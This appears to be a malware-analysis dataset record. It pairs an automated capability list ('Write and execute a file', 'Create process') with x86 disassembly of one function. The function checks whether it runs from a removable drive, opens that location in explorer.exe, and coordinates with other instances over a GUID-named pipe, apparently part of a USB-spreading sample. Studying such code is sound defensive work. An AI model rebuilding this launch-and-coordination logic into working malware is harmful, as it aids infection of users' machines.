Function at 0x405041
Capabilities:
Check if file exists
Create process on windows
Get disk information
Read file on windows
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x26c
push 0x104
push 0
lea eax, [ebp - 0x228]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea eax, [ebp - 0x228]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
push 0
lea eax, [ebp - 0x120]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x101
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
jne 0x4050ff
lea eax, [ebp - 0x120]
push eax
push str._n__s
lea eax, [ebp - 0x268]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 5
push 0
lea eax, [ebp - 0x268]
push eax
push str.explorer.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 0x14], str..pipe96DBA249_E88E_4c47_98DC_E18E6E3E3E5A
and dword [ebp - 4], 0
or dword [ebp - 0x10], 0xffffffff
and dword [ebp - 0xc], 0
and dword [ebp - 8], 0
push 0x104
push 0
push 0x40c820
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x405173
push 1
lea eax, [ebp - 0x228]
push eax
call fcn.004015a0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xe7
jne 0x40516e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x40527f
mov dword [ebp - 8], 2
push 0
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
push 0
lea eax, [ebp - 0xc]
push eax
push 2
push 0x40ae24
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0xc]
push eax
push 0x104
push 0x40c820
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0x40c820
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x4051e8
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
lea eax, [ebp - 0x228]
push eax
call fcn.004015a0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x2e
push 0x40c820
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
pop ecx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40520f
mov eax, dword [ebp - 4]
and dword [eax], 0
and dword [ebp - 0x26c], 0
jmp 0x405225
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 0x64
jge 0x405271
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x40525e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x40525c
jmp 0x405271
jmp 0x405267
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x405218
push 2
lea eax, [ebp - 0x228]
push eax
call fcn.004015a0
leave
ret